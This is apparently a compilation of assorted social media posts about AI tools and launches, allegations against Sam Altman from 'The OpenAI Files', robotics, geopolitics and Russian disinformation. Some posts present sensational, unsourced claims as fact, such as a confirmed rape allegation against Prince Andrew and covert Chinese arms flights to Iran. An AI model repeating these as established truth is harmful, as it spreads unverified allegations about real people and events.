Considering that, I'd rather be black in America than a dissenting woman in Iran.
You can now connect to remote MCP servers from Claude Code, letting you customize Claude Code to use your favorite tools.
Pull context from your tools directly into Claude Code without context switching. https://t.co/Xzq9hWwGhW
Huge repository of information about OpenAI and Altman just dropped — 'The OpenAI Files'.
There's so much crazy shit in there. Here's what Claude highlighted to me:
1. Altman listed himself as Y Combinator chairman in SEC filings for years — a total fabrication (?!):
"To smooth his exit [from YC], Altman proposed he move from president to chairman. He pre-emptively published a blog post on the firm's website announcing the change.
But the firm's partnership had never agreed, and the announcement was later scrubbed from the post."
"...Despite the retraction, Altman continued falsely listing himself as chairman in SEC filings for years, despite never actually holding the position."
(WTAF.)
2. OpenAI's profit cap was quietly changed to increase 20% annually — at that rate it would exceed $100 trillion in 40 years. The change was not disclosed and OpenAI continued to take credit for its capped-profit structure without acknowledging the modification.
3. Despite claiming to Congress he has "no equity in OpenAI," Altman held indirect stakes through Sequoia and Y Combinator funds.
4. Altman owns 7.5% of Reddit — when Reddit announced its OpenAI partnership, Altman's net worth jumped $50 million. Altman invested in Rain AI, then OpenAI signed a letter of intent to buy $51 million of chips from them.
5. Rumours suggest Altman may receive a 7% stake worth ~$20 billion in the restructured company.
5. OpenAI had a major security breach in 2023 where a hacker stole AI technology details but didn't report it for over a year. OpenAI fired Leopold Aschenbrenner explicitly because he shared security concerns with the board.
6. Altman denied knowing about equity clawback provisions that threatened departing employees' millions in vested equity if the ever criticised OpenAI. But Vox found he personally signed the documents authorizing them in April 2023. These restrictive NDAs even prohibited employees from acknowledging their existence.
7. Senior employees at Altman's first startup Loopt twice tried to get the board to fire him for "deceptive and chaotic behavior".
9. OpenAI's leading researcher Ilya Sutskever told the board: "I don't think Sam is the guy who should have the finger on the button for AGI".
Sutskever provided the board a self-destructing PDF with Slack screenshots documenting "dozens of examples of lying or other toxic behavior.
10. Mira Murati (CTO) said: "I don't feel comfortable about Sam leading us to AGI"
11. The Amodei siblings described Altman's management tactics as "gaslighting" and "psychological abuse".
12. At least 5 other OpenAI executives gave the board similar negative feedback about Altman.
13. Altman owned the OpenAI Startup Fund personally but didn't disclose this to the board for years. Altman demanded to be informed whenever board members spoke to employees, limiting oversight.
14. Altman told board members that other board members wanted someone removed when it was "absolutely false". An independent review after Altman's firing found "many instances" of him "saying different things to different people"
15. OpenAI required employees to waive their federal right to whistleblower compensation. Former employees filed SEC complaints alleging OpenAI illegally prevented them from reporting to regulators.
16. While publicly supporting AI regulation, OpenAI simultaneously lobbied to weaken the EU AI Act.
By 2025, Altman completely reversed his stance, calling the government approval he once advocated "disastrous" and OpenAI now supports federal preemption of all state AI safety laws even before any federal regulation exists.
Obviously this is only a fraction of what's in the apparently 10,000 words on the site. Link below if you'd like to look over.
(I've skipped over the issues with OpenAI's restructure which I've written about before already, but in a way that's really the bigger issue.)
𝗪𝗵𝘆 𝗱𝗼𝗲𝘀 𝗚𝗼𝗼𝗴𝗹𝗲 𝗿𝗲𝗰𝗼𝗺𝗺𝗲𝗻𝗱 𝗠𝗼𝗱𝘂𝗹𝗮𝗿 𝗠𝗼𝗻𝗼𝗹𝗶𝘁𝗵𝘀 𝗶𝗻𝘀𝘁𝗲𝗮𝗱 𝗼𝗳 𝗠𝗶𝗰𝗿𝗼𝘀𝗲𝗿𝘃𝗶𝗰𝗲𝘀?
Over the last decade, we have witnessed a significant trend of utilizing microservices across various industries. We were building systems for a few hundred or thousand users and wanted to know how to make a system for millions of users. This was over-engineering and needed to be corrected.
Why was it wrong? Because the development lasted a long time, we created incredibly complex systems, which are hard to maintain. This is especially true for startups that must go fast and stay simple.
A recent paper by authors from Google found that most of their developers split binaries for one of the following reasons: to improve performance, enhance fault tolerance, and establish abstraction boundaries, allowing for flexible rollouts.
Yet, splitting applications into microservices has its challenges:
🔹 𝗜𝘁 𝗵𝘂𝗿𝘁𝘀 𝗽𝗲𝗿𝗳𝗼𝗿𝗺𝗮𝗻𝗰𝗲. The overhead of serializing data and sending it across the network is becoming an increasingly significant bottleneck.
🔹 𝗜𝘁 𝗵𝘂𝗿𝘁𝘀 𝗰𝗼𝗿𝗿𝗲𝗰𝘁𝗻𝗲𝘀𝘀. It is incredibly challenging to reason about the interactions between every deployed version of every microservice.
🔹 𝗜𝘁 𝘁𝗮𝗸𝗲𝘀 𝘄𝗼𝗿𝗸 𝘁𝗼 𝗺𝗮𝗻𝗮𝗴𝗲. Rather than having a single binary to build, test, and deploy, developers must manage n different binaries, each on its release schedule.
🔹 𝗜𝘁 𝗳𝗿𝗲𝗲𝘇𝗲𝘀 𝗔𝗣𝗜𝘀. Once a microservice establishes an API, it becomes easier to change by breaking the other services that consume the API.
So, they proposed the following approach:
𝟭. 𝗪𝗿𝗶𝘁𝗲 𝗺𝗼𝗻𝗼𝗹𝗶𝘁𝗵𝗶𝗰 𝗮𝗽𝗽𝗹𝗶𝗰𝗮𝘁𝗶𝗼𝗻𝘀 that are modularized into logically distinct components. A component is a long-lived agent, similar to an actor.
𝟮. 𝗟𝗲𝘃𝗲𝗿𝗮𝗴𝗲 𝗮 𝗿𝘂𝗻𝘁𝗶𝗺𝗲 𝘁𝗼 𝗱𝘆𝗻𝗮𝗺𝗶𝗰𝗮𝗹𝗹𝘆 and automatically assign logistical components to physical processes based on execution characteristics. Therefore, if both components are in the same OS process, they are referred to as regular method calls. However, if they are co-located, calls are executed as remote procedure calls (RPCs) over the network. Runtime decides whether these modules should be collocated or moved to different machines (and scaled, etc.).
𝟯. 𝗗𝗲𝗽𝗹𝗼𝘆 𝗮𝗽𝗽𝗹𝗶𝗰𝗮𝘁𝗶𝗼𝗻𝘀 𝗮𝘁𝗼𝗺𝗶𝗰𝗮𝗹𝗹𝘆, preventing different versions of an application from interacting.
This approach consists of two main parts: a programming model with abstraction that allows developers to write modularized applications and a runtime for building, deploying, and optimizing these applications. They claim that it reduces application latency by up to 15 times and costs by up to 9 times by simplifying application management and deployment.
If you want to check the framework that implements the approach from the paper, please visit https:// serviceweaver. dev/.
What do you think about this approach? Does it look like EJBs or CORBA?
REPORT: Chinese Transport Planes Secretly Deliver Cargo to Iran Amid Escalating Conflict
The Daily Telegraph has revealed that a series of mysterious Chinese cargo flights landed in Iran over the weekend, after deviating from flight plans,turning off transponders, and raising international alarm over possible weapons transfers to Tehran.
According to the report, three Chinese-operated Boeing 747 freighters took off from mainland China two from Shanghai and one from another eastern city on June 14, 15, and 16. All flights filed plans listing Luxembourg as their final destination. However, radar data shows each flight diverted west over Central Asia and dropped off radar near Iranian airspace, never arriving in Europe.
The aircraft involved are known to be used by Chinese military contractors and have the capacity to carry heavy military equipment. Given the timing just days after intense Israeli strikes crippled key Iranian missile and air defense infrastructure analysts suggest this could be a covert effort by China to resupply Iran with advanced munitions, spare parts, or surveillance equipment.
The exact contents remain unknown, and the Chinese and Iranian governments have made no comment. However, the use of high-capacity Boeing 747 freighters, coupled with the secretive flight path and radar silence, suggests military equipment or systems.
While unconfirmed, the covert nature of these cargo deliveries raises serious questions about China’s involvement in the Iran-Israel conflict. If confirmed to be military aid, it would mark a dangerous escalation and further internationalize the war.
Space Architect Ariel Ekblaw cracked the code on autonomous construction: magnetic robot tiles that self-assemble in zero gravity.
Her "Tesserae" system ships modular parts flat, then "they build themselves" into buckyballs that dock to form larger stations.
No astronauts, no robotic arms, no 15-year assembly timelines.
Introducing the OpenHands CLI, a new coding CLI that:
- Has top accuracy (similar to Claude Code)
- Is completely open source, MIT licensed
- Is model agnostic, use an API or bring your own
- Is simple to install and run `pip install openhands-ai` and `openhands` (no Docker!) https://t.co/KeGmhbFkED
🚀 We're releasing Cosmos-Predict2 — our developer-first, top-performing world foundation models for Physical AI!
🔗 https://t.co/hlLEt1IQMx
👩💻 Pretrained weights, inference, and post-training scripts available.
💬 Try it out and share your feedback!
- code: https://t.co/uwKKDwuwT0
- website: https://t.co/o6bZlDJQgf
#NVIDIACosmos
A lot of you guys do not understand how fast robotics is moving. This would have taken like 6+ months when I was doing my phd. And it probably wouldn't have worked as well.
Does cosmic inflation violate energy conservation?
#AskEthan
Is there any such thing as a "free lunch?"
Perhaps the Universe is the ultimate free lunch, and the fact that energy isn't conserved is why.
https://t.co/PONI3JOuuq
SEAL: LLM That Writes Its Own Updates Solves 72.5% of ARC-AGI Tasks—Up from 0%
This is a breakthrough that is rarely seen and could open up undreamt-of possibilities. In the following, I will go into more detail and summarize this breakthrough: https://t.co/bciATZzygF
russian bots love one line the most:
“Ukraine committed genocide on russian-speaking people in Donbas.”
But I lived there.
In Stakhanov.
I am from Donbas.
I speak both Ukrainian and russian.
And I saw who brought the real war.
No one was killing russian speakers.
We were living in peace -
Until russia came.
With weapons, lies and fake referendums.
They bombed our cities.
They kidnapped our neighbors.
So don’t talk to me about genocide.
I know who the real invaders are.
Inference endpoints on Hugging Face just crossed 3,000 customers and to celebrate, we reduced the price for A100s to $2.5/hour!
Enjoy one-click dedicated inference deployment of your favorite open-source models! https://t.co/wC1yHwxU4w
Jensen at GTC Paris keynote:
"Humanoid robotics is going to potentially be one of the largest industries ever."
"The idea that there would be a billion robots is a very sensible thing." https://t.co/dlRI4RRzsA
Check out Robuild's autonomous construction robots
They recently completed a 500 ft² LVP flooring installation, with 600 install planned by 2026.
A few tech details:
• Labour shortages & cost savings are driving developers to look at robotics
• The system works in busy, varied houses and uses onboard vision to align and place planks without pre-mapping.
• It's built on ROS, using NVIDIA Omniverse, Isaac Gym, and custom PID for precision.
A new chapter in robotics is about to begin. 🤖
The next generation of 4NE1—our cognitive humanoid robot—is ready and we're bringing it to the stage at automatica 2025 in Munich.
📍 Hall B4, Booth 319
🕑 Tuesday, June 24, at 11 AM
This is an event you won't want to miss! https://t.co/LHG3Hgoynq
Updated the list of robot resources to get you started in the robotics space, papers, robots to buy, motors, tools and simulation software for robots: https://t.co/hdNm8PFTTm
BTS: Modify Video. Reimagine any footage, from backyard shoots to garage setups. Capture with friends, junk props, and film spontaneous scenes anywhere. Then transform it in post with director-level control over scene style, character, and setting. Shoot once. Shape infinitely. https://t.co/I4Gp64OKeh
U.S. labs keep finding *undocumented* cellular radios hidden inside some Chinese-made solar inverters & battery packs
Those radios give the gear a second, undocumented path to the internet. Global governments are reacting already: 🧵 https://t.co/umnadvW99e
‼️This is a Must-Read especially since it’s coming from inside of Russia. This post by political blogger Igor Dimitriev is causing a lot of anger among Russian political ‘elites’:
“Even the memory of that brief euphoria that accompanied the entry of the CSTO [firces] into Kazakhstan in January 2022 is gradually fading.
Then it seemed that Russia was the guarantor of stability, the arbitrator, the center of power. Now there is nothing left of that feeling.
Kazakhstan is confidently following its own path, forming its own security strategy. It signed a military cooperation plan with Great Britain, including the training of officers in British military academies.
It is building a plant with its Singapore partners to produce 155 mm ammunition, NATO standard. It is introducing a territorial reserve system based on Western models. (There was even a scandal there recently with the local analogue of the Territorial Center of Recruitment).
All this in a paradigm where Russia is seen not as an ally, but as a potential threat.
Azerbaijan has finally liquidated Armenian Artsakh without regard for the CSTO and killed Russian peacekeepers.
After the downed plane in December 2024, it publicly demanded an apology and compensation from Moscow, closed the offices of Russian government agencies.
Aliyev plays openly - he is increasing cooperation with Ukraine, supplying humanitarian aid, and avoiding even formal neutrality.
Armenia - in the past, the main ally in the Caucasus - has effectively left the Russian orbit. Pashinyan has repeatedly announced his withdrawal from the CSTO, the country recalled its permanent representative to the organization, and closed Russian propaganda channels.
Uzbekistan has ignored the CSTO since 2012 and is actively developing partnership with Europe through summits and sectoral agreements.
Last year, there was tension between Moscow and Tashkent in connection with the assassination attempt on one of the government officials and the alleged "Chechen trace".
Instead of neutral Finland, there is now a 1,300 km border with NATO. Sweden, which remained neutral even during the Second World War, participates in NATO military exercises and supplies weapons to Ukraine.
The entire north of Europe is reorganizing its armed forces for joint exercises in the Arctic and the Baltic.
All of Europe is turning into a single anti-Russian coalition. Germany is reorienting its production capacities to military orders.
The EU's defense spending is aimed at 5% of GDP. For the first time, a single European military budget has appeared.
Syria, which recently played the role of a showcase for Russian geopolitical influence, is now a platform for the mass execution of pro-Russian elements. The Russian bases in Syria are the most vulnerable issue for [Russia’s] African initiatives.
Over the past three years, the security architecture in Eurasia has changed radically. Russia is no longer a regional leader, a political center, or a guarantor of stability.
Geopolitical weight is not just decreasing — it is being reset. In fact, the entire scale of Russia's foreign policy today is tactical battles in the Donetsk and Sumy regions.
What was intended as a quick regime change in Kyiv has turned into a protracted meat grinder, devouring the country's geopolitical capital.
The entire military machine is focused on storming Ukrainian villages. All resources are squeezed out for the sake of a front that is barely moving.
Where everything is heading was clear back in 2022. Nevertheless, the leadership of the Russian Federation has been hammering away at the Ukrainian defense with maniacal persistence.
Apparently, the Kremlin believes that if they manage to destroy Ukraine, all the problems will dissolve on their own and 2021 will return.
Although by the time Ukraine collapses - if it collapses at all - the world around will be completely different.”
Continued below🔽
Karpathy today said Cursor for Slides needs to exist.. but it already does.
When asked to "Create a detailed data-driven slide deck based on Google's recent financial filings",
It created a stunning 6 page deck with graphs, diagrams IN Google theme!
It's called Genspark. https://t.co/Wy0DKVvFzK
@willeastcott @playcanvas Project page and repos for anyone interested, really impressive captures and viz
https://t.co/FcdMgOHDaV
Also, code for renderer and volumetric capture from earlier @siggraph papers on project page
FreeTimeGS: Free Gaussians at Anytime and Anywhere for Dynamic Scene Reconstruction
Abstract:
This paper addresses the challenge of reconstructing dynamic 3D scenes with complex motions. Recent works define 3D Gaussian primitives in the canonical space and use deformation fields to map these primitives to observation spaces, achieving real-time dynamic view synthesis. However, these methods often struggle with scenes that have complex motions due to the difficulty in optimizing deformation fields.
To overcome this problem, we propose FreeTimeGS, a novel 4D representation that allows Gaussian primitives to appear at arbitrary times and locations. Unlike canonical Gaussian primitives, our representation possesses strong flexibility, improving the ability to model dynamic 3D scenes. Additionally, we endow each Gaussian primitive with a motion function, allowing it to move to neighboring regions over time, which reduces temporal redundancy.
Experimental results on several datasets show that the rendering quality of our method outperforms recent methods by a large margin.
Today's word: ULTRACREPIDARIAN
An ultracrepidarian is a person who offers opinions beyond their knowledge, combining stupidity, ignorance and the need to announce such ignorance to the world.
I'll use it in a sentence: "Trump is an ultracrepidarian."
"Great word." - Dunning
"Well said." - Kruger
Lad os kalde det et ledende syrebad :-) Det er en galvanisk reduktion, som fjerner svovlpletterne fra sølvet og flytter dem til folien.
Du laver en balje (gerne varmt) vand med en håndfuld citronsyre i (eller en kop citronsaft) + en håndfuld salt + nogle kugler sammenkrøllet aluminium folie.
Lægger bestikket deri i et par timer inden det vaskes.
An attempt to explain (current) ChatGPT versions.
I still run into many, many people who don't know that:
- o3 is the obvious best thing for important/hard things. It is a reasoning model that is much stronger than 4o and if you are using ChatGPT professionally and not using o3 you're ngmi.
- 4o is different from o4. Yes I know lol. 4o is a good "daily driver" for many easy-medium questions. o4 is only available as mini for now, and is not as good as o3, and I'm not super sure why it's out right now.
Example basic "router" in my own personal use:
- Any simple query (e.g. "what foods are high in fiber"?) => 4o (about ~40% of my use)
- Any hard/important enough query where I am willing to wait a bit (e.g. "help me understand this tax thing...") => o3 (about ~40% of my use)
- I am vibe coding (e.g. "change this code so that...") => 4.1 (about ~10% of my use)
- I want to deeply understand one topic - I want GPT to go off for 10 minutes, look at many, many links and summarize a topic for me. (e.g. "help me understand the rise and fall of Luminar"). => Deep Research (about ~10% of my use). Note that Deep Research is not a model version to be picked from the model picker (!!!), it is a toggle inside the Tools. Under the hood it is based on o3, but I believe is not fully equivalent of just asking o3 the same query, but I am not sure.
All of this is only within the ChatGPT universe of models. In practice my use is more complicated because I like to bounce between all of ChatGPT, Claude, Gemini, Grok and Perplexity depending on the task and out of research interest.
AI NEWS: Google just dropped an Edge AI Gallery to bring open-source AI models to smartphones
Plus, more news from ElevenLabs, Resemble AI, DeepSeek, Sakana AI, Hume, and Tencent.
Here's everything you need to know:
My own, very and very limited knowledge of Chinese history is largely based upon Joseph W. Esherick's reading lists. His was perhaps the single most interesting course I took at Beijing. Of the list, I would single out this book as a great starting point. https://t.co/9hNX0juVpH
1/ Today's Ukrainian drone attack on Russian air bases was launched using drones concealed in shipping containers. It shows that Ukraine has managed to weaponise the global logistics system, and will alarm security planners worldwide. ⬇️ https://t.co/zCNff7E9BA
Light is distinctive only insomuch as it (like any massless particle) experiences no time, so all of its velocity vector points in the space directions, and therefore it moves with a purely *spatial* speed of c.
c is merely the conversion factor between space and time. (4/4)
got tired of sketchy youtube downloader sites with 50 popups and a virus on the side.
so i built my own: https://t.co/2CscqjAmHT
download any Youtube video or Audio in any format.
trim it exactly how you want.
it’s fast. it’s clean. it respects your vibe.
free. no ads. no bs. https://t.co/DM2WFhqVyc
Junior Devs really ARE finished.
Here's precisely how I'm using Claude Code this Saturday morning to do work that I could have done myself or delegated to someone else, but will be done more easily this way.
Step 1: the request (next tweet, key tips): https://t.co/P9lckDYr5H
Researchers at Caltech have built a bipedal robot that combines walking with flying to create a new type of locomotion, making it exceptionally nimble and capable of complex movements.
Part walking robot, part flying drone, LEONARDO (short for LEgs ONboARD drOne, or LEO for short) can walk a slackline, hop, and even ride a skateboard. Developed by a team at Caltech's Center for Autonomous Systems and Technologies (CAST), LEO is the first robot that uses multi-joint legs and propeller-based thrusters to achieve a fine degree of control over its balance.
Video Credit: Caltech
#robots #robotics #engineering #caltech
--------------------------------
Stay ahead of the curve!
Follow us now on our WhatsApp (https://t.co/YBAHioUWe6) and Telegram (https://t.co/pszbf78JMc) channels and stay updated about the cutting edge.
This is crazy.
Postman's new AI Agent Builder lets you turn any API (from over 100,000!) into an MCP server in seconds, no code required! 🤯
Your custom MCP server, ready to use in Cursor, Windsurf, Claude Desktop, Docker, and more! 🧵↓ https://t.co/z6JKn6xVzh
Google just launched @JulesAgent, the most powerful coding agent we’ve seen! 🔥
Not a co-pilot, but a full-on async dev that:
→ reads your repo
→ plans + builds features
→ fixes bugs, writes tests
→ pushes PRs w/ commit + audio changelogs
100% FREE, in public beta! 🧵 ↓ https://t.co/RqNH5zzeLT
Exactly as predicted, now that DOGE has scraped all your personal data from government agencies, it is being given to Peter Thiel's Palantir. It was always going to be Peter, who dreamed of dictatorship for decades, patiently built up his "political project" to seize power. 1/ https://t.co/MyctmB0pSo
Unitree Combat Competition Highlights May 25, 2025😘
A historic moment in human history: The first-ever humanoid robot combat competition(Livestream)
#Unitree #HumanoidRobot #Combat #SpringFestivalGalaRobot #MartialArts #KungFu #embodiedintelligence #artificialintelligence https://t.co/Aan2h7RFI0
Opensource implementation of Google's AlphaEvolve.
OpenEvolve is an evolutionary coding agent that uses LLMs to optimize code through an iterative process.
100% Opensource. https://t.co/JBpYVjfbw6
🚨 BREAKING: Google just launched the most powerful coding agent we’ve ever seen.
It’s called Jules.
It reads your codebase, makes a plan, builds features, writes tests and pushes the PR.
No need to co-pilot. Jules just ships.
Here’s how it works 👇 https://t.co/GLFgV96s4g
Big peaks in dopamine that do not require much effort to access = long periods of lack of motivation & blues, especially if you try to exit that rut with low effort activities. This is not stoicism, it’s not psychology. It’s the biology of dopamine circuit dynamics.
Microsoft releases NLWeb
NLWeb uses MCP to make it simple to interact with websites in a standardized way.
Devs can now convert any website into an AI app.
MCP is to NLWeb what HTTP is to HTML.
This went largely unnoticed this week, but it looks like a big deal. https://t.co/98M5UmGYP9
In today's Vatnik Soup, I'll discuss extensively why the West is losing the information war. The format is a bit different from earlier ones, but here goes:
The West is losing the information war
Countries like Russia and China have spent years turning disinformation into a central pillar of statecraft. They don’t just lie—they lie loudly, constantly, and across every available platform. They’ve mastered the art of sowing confusion, undermining trust, and deepening political divides inside democratic societies. This isn’t done by accident—it’s done through well-funded, highly coordinated campaigns that blend state media, covert troll farms, social media influencers, and manipulated algorithms.
At the same time, they maintain an iron grip on their own information environments. In Russia, independent media is silenced, dissenters are jailed, and the internet is censored through so-called “sovereign” infrastructure that can block or throttle unwanted content. In China, the state filters all online speech through the Great Firewall, bans platforms like YouTube and Twitter, and floods domestic social media with tightly controlled propaganda. Algorithms are not tools for engagement—they are instruments of obedience.
That’s the key to their advantage: they control what their citizens see while exploiting the openness of our societies. We can’t inject truth into theirs—but they can inject lies into ours. Their disinformation can reach our phones in seconds, while our facts can’t even get past their digital borders. It’s a deeply asymmetrical fight, where authoritarian states operate with speed, scale, and impunity—while democracies struggle to respond without undermining our own values of free speech and transparency.
These regimes don’t wait around for approval. They don’t worry about press freedom or public debate. If they want to launch an influence campaign, they do it—quickly and quietly. They have entire networks producing and spreading their messages in dozens of languages, 24/7.
Worse still, they’ve gotten very good at grabbing attention. They use social media superspreaders, conspiracy influencers, and flashy TikTok videos to package their propaganda into something that feels exciting, rebellious, or funny—even when it’s completely false. They tell simple, emotionally charged stories that spread like wildfire. And all this is supercharged with AI.
And what do we counter that with? Dry press releases from EU officials. Long reports. Monotone statements from diplomats. Detailed debunking articles hidden behind paywalls, or buried deep in PDF reports that almost no one reads. Good intentions—delivered with all the flair of a tax form. Most of it never reaches the people actually being targeted by disinformation. It’s not that we don’t have the facts—it’s that we’re terrible at making people care about them.
Meanwhile, the information battlefield has already shifted. In Finland, half of teenagers between 13 and 18 now get their news from TikTok. And it’s not just influencers and entertainment—even North Korea is now publishing propaganda on the platform. That’s the level of reach and adaptability we’re up against. Authoritarian regimes are speaking directly to the next generation, using their language and their media. And we’re still whispering from behind paywalls and official podiums.
We’ve already seen how devastating information warfare can be when left unchecked. In January 2014, 60% of Russians had a positive view of Ukrainians. Then the Kremlin launched a relentless defamation campaign on national TV and social media—painting Ukrainians as Nazis, traitors, or puppets of the West. By 2015, the numbers had flipped: 60% of Russians now had a negative view of Ukrainians. This is how propaganda works. And when you control the entire information ecosystem, it works terrifyingly well.
But at the same time, Ukraine learned to fight back. Since 2014, and especially after Russia’s full-scale invasion in 2022, Ukrainians have treated information like a front line. They’ve built partnerships between government, civil society, and creative communities. They’ve used humor, memes, music, and viral videos to expose lies and boost morale. They work around the clock—not because it’s trendy, but because they understand just how destructive these manipulation campaigns can be. In Ukraine, disinformation isn’t an abstract threat—it’s a weapon that softens targets before the bombs fall.
Take Russia: it’s spending nearly $2 billion a year on state propaganda. China’s media operations are even more extensive and opaque. Meanwhile, the European Union is spending a tiny fraction of that trying to defend the truth.
It’s not just about money—it’s about mindset. We’ve been playing defense, trying to fact-check lies after they’ve gone viral. That’s not enough. We need to get ahead of the problem.
And we can’t just focus on short-term fixes. Both Russia and China plan their information strategies decades ahead—and we should too. That means giving more resources and support to modern media creators—influencers, podcasters, digital artists, futurists, analysts, visionaries. These are the people shaping how millions think and feel. We need to invest in the platforms, voices, and formats that actually reach people today.
We also need to build long-term resilience. We need to build a vaccine against online disinformation. And that vaccine is education.
That means warning people before the lies start spreading. It means teaching media literacy in schools, so young people know how to spot manipulation. It means putting clear, truthful, engaging content in the places where people actually spend time—YouTube, TikTok, Instagram—not hiding it away on obscure government and EU websites.
But defense alone won’t win this war. We must take the fight to the adversary’s doorstep. Authoritarian regimes have real vulnerabilities—corruption, repression, inequality, and elite hypocrisy. These are pressure points we should be targeting with truth-based messaging that empowers dissent, exposes abuse, and undermines their control over public perception. This isn’t about regime change—it’s about using facts to challenge the myths they rely on to stay in power. Just like they exploit our openness, we must be willing to expose their rot.
This isn’t about copying authoritarian tactics. It’s about defending the values we care about—freedom, transparency, democracy—with creative and bold strategies.
Do we really need to wait until Russia is sending drones and troops across our borders to finally take this seriously?
The information war is here. We don’t get to choose whether we’re part of it. But we can choose to stop losing.
NTIRE is the coolest conference you’ve never heard of.
Deleting motion blur? Sure.
Night Vision? No problem.
Every year, labs compete on categories like hyperspectral restoration, satellite image enhancement, even raindrop removal (think car sensors)! Some highlights -> https://t.co/rVkOmgybY2
it’s happening!
a human was just edited
prime editing (the advanced CRISPR) was used to fix a broken immune system
a teenager with a rare immune disorder just had his DNA rewritten
1/ https://t.co/7AbWzPoQhW
At the Istanbul talks, Russia demanded Ukraine surrender non-occupied territories, abandon its sovereignty, alliances, arms industry, and Western weapons — Zelensky's top advisor Podolyak told Rzeczpospolita. He added the Russian delegation acted arrogantly, just like in 2022. https://t.co/2E9xwzlF4j
Putin was actually fine with the Baltic states joining NATO in 2004. And there was no movement on Ukraine’s accession since the Bucharest summit in 2008, as the Russians are well aware. Here is a good write-up of this revisionist plaint. https://t.co/evswCHvaZX
Chang Hsu, the math teacher who earns $270,000 per year uploading calculus lessons on Pornhub.
Math teacher from Taiwan, Chang Hsu, found an unconventional way to rise above the noise and achieve financial success: by posting his mathematics lessons on the adult website Pornhub.
His strategy was driven by the desire to stand out in the highly competitive online education market. Here's what you should know based on the information available up to 2024.
Chang Hsu chose Pornhub due to its vast user base, which significantly exceeds that of more conventional educational platforms. His reasoning was straightforward: more visibility could potentially lead to more students for his paid courses.
By leveraging the power of clickbait, he managed to attract nearly 3 million views and over 13,000 subscribers on Pornhub. As a result, more students discovered his videos and purchased courses on his website, leading to a substantial increase in his income.
His videos are educational, fully clothed, and safe-for-work, focusing purely on mathematics, specifically calculus. His Pornhub channel's slogan, "Play Hard, Study Hard," encapsulates his approach.
Scientists have been publishing climate models since ~1970.
A good way to evaluate their skill is to compare what they expected to happen in the years after the model was published to observed climate changes.
It turns out most models were pretty spot-on: https://t.co/Ro620MbO79
I thought AI scraping would save a little time.
This guy replaced 1,300 hours of manual labor for $150.
He built a 16,000-page directory in 7 days with just AI. No code. No VAs.
He showed me exactly how it works And yes, you should copy this👇
BREAKING:
The U.S. has found Trojan horse communication devices in Chinese-made solar power inverters. They are used to connect solar panels to electricity grids.
The devices could be turned out remotely to destabilize energy grids, potentially leading to massive blackouts like the recent one in Spain.
STOP FUCKING AROUND!
You need a new idea?
Follow my lead:
-Open Google Maps
-Search some high end services
-Find those with the worst website
-Go to Replit and use this prompt (Thank me later):
Prompt:
"Build a responsive, high-conversion website with the following technical specifications:
1.Architecture Requirements
-Implement a component-based architecture following atomic design principles
-Utilize semantic HTML5 markup with appropriate ARIA attributes for accessibility compliance (WCAG 2.1 AA)
-Structure the codebase with clear separation of concerns (presentation/logic/data)
-Implement proper asset optimization with lazy-loading for all below-the-fold images
-Configure appropriate cache-control headers and leverage browser caching
2.Frontend Technical Stack
-React.js for component rendering with functional components and hooks
-CSS-in-JS solution (preferably styled-components) with a design system approach
-Progressive enhancement strategy for graceful degradation
-Implement critical CSS path rendering for above-the-fold content
-Establish mobile-first responsive breakpoints (375px, 768px, 1024px, 1440px)
3.Performance Optimization
-Target a Lighthouse performance score >90
-Implement code-splitting with dynamic imports for route-based chunking
-Optimize Core Web Vitals metrics:
-LCP < 2.5s
-FID < 100ms
-CLS < 0.1
-Implement resource hints (pre-connect, prefetch, preload) for critical resources
-Optimize for TTFB < 200ms where server configuration permits
4.Conversion Elements
-Implement a strategic visual hierarchy with clear F-pattern or Z-pattern reading flows
-Place primary CTAs with 60px minimum touch target size and 3:1 contrast ratio
-Implement microcopy with action-oriented language adjacent to input fields
-Create form validation with inline error handling and real-time feedback
-Implement social proof elements with quantifiable metrics where appropriate
-Design scroll-triggered animations for key conversion elements using Intersection Observer API
5. Analytics Integration
-Set up event-based tracking for all user interactions
-Implement conversion funnel tracking with defined micro and macro conversions
-Configure appropriate UTM parameter handling for marketing attribution
-Implement cross-domain tracking where applicable
-Set up enhanced e-commerce tracking for product-related interactions
6. Security Implementation
-Implement proper Content Security Policy headers
-Configure appropriate CORS policies
-Implement rate limiting on form submissions
-Sanitize all user inputs with appropriate validation
-Implement CSRF protection on all form submissions
7. Technical SEO
-Implement structured data markup (JSON-LD) for appropriate schema types
-Create a programmatically generated sitemap.xml with lastmod attributes
-Implement canonical URLs and appropriate meta tags
-Configure proper robots.txt with crawl directives
-Ensure semantic heading hierarchy (h1-h6) throughout the site
8. Deployment Configuration
-Configure proper environment variables separation
-Implement CI/CD pipeline with pre-commit hooks for code quality
-Configure proper build optimization with tree-shaking
-Implement proper error logging and monitoring
-Configure appropriate redirects for legacy URLs
9.Output Deliverables
-Clean, documented source code with JSDoc comments where appropriate
-Comprehensive README with setup instructions and architecture decisions
-Performance optimization report with Lighthouse scores
-Mobile and desktop wireframes with annotated conversion elements
-Responsive breakpoint visualization
Generate the complete solution with an emphasis on measurable conversion metrics and scalable architecture."
A quiet AI breakthrough just happened in robotics... and no one’s talking about it.
@foundation_robo just gave machines something Tesla and Figure still dream about:
A real-world brain.
Here's why this is a big deal 🧵: https://t.co/phOOyDztEW
JUST IN: Former Royal Family advisor confirms Prince Andrew r*ped multiple young girls with help from Epstein.
The video drop comes just days after one of these alleged girls, Virginia Giuffre, took her life.
"Prince Andrew was f**king underage girls."
https://t.co/9fdQUmOUji
1/ The US government has ordered the Swedish city of Stockholm to end its diversity, inclusivity and equality (DEI) programmes within 10 days. The city authorities say the demand is "bizarre" and they won't be complying. ⬇️ https://t.co/nwejOrkQgT
@MehdiHacks Bro so I have a starter kit. Did extremely well last year and bringing it back now that people realize how unstable our infrastructure it. Check it out. If you want to know more let me know. https://t.co/b2x18dhjCZ
My favorite local model right now is a bit of surprise to me: I'm really enjoying the relatively tiny Qwen3-8B, running the 4bit quantized version on my Mac using MLX
It's surprisingly capable given it's a 4.3GB download and uses just 4-5GB of RAM while it's running
We've been working on extracting information in templatized PDFs for the last couple of years, leveraging the best of LLMs and classical data extraction techniques.
Our latest technique, TWIX, has the best of all worlds: beats Azure DI, AWS Textract, or LLM-based approaches by over 25% in precision AND recall, and is multiple orders of magnitude cheaper and faster. TWIX is now open-source, with an API plus an optional front-end for you to tweak the extraction results.
Try it out on your gnarliest datasets and let us know what you think!
Led by Yiming Lin, w/ Yash Jain, Mawil Hasan, @alvinkcheung
Folketinget har her til aften brugt en time på at debattere et forslag fra Enhedslisten om at ændre grænserne i Mellemøsten. Det er den slags, der har gjort mig så træt af Folketinget, at jeg stopper.
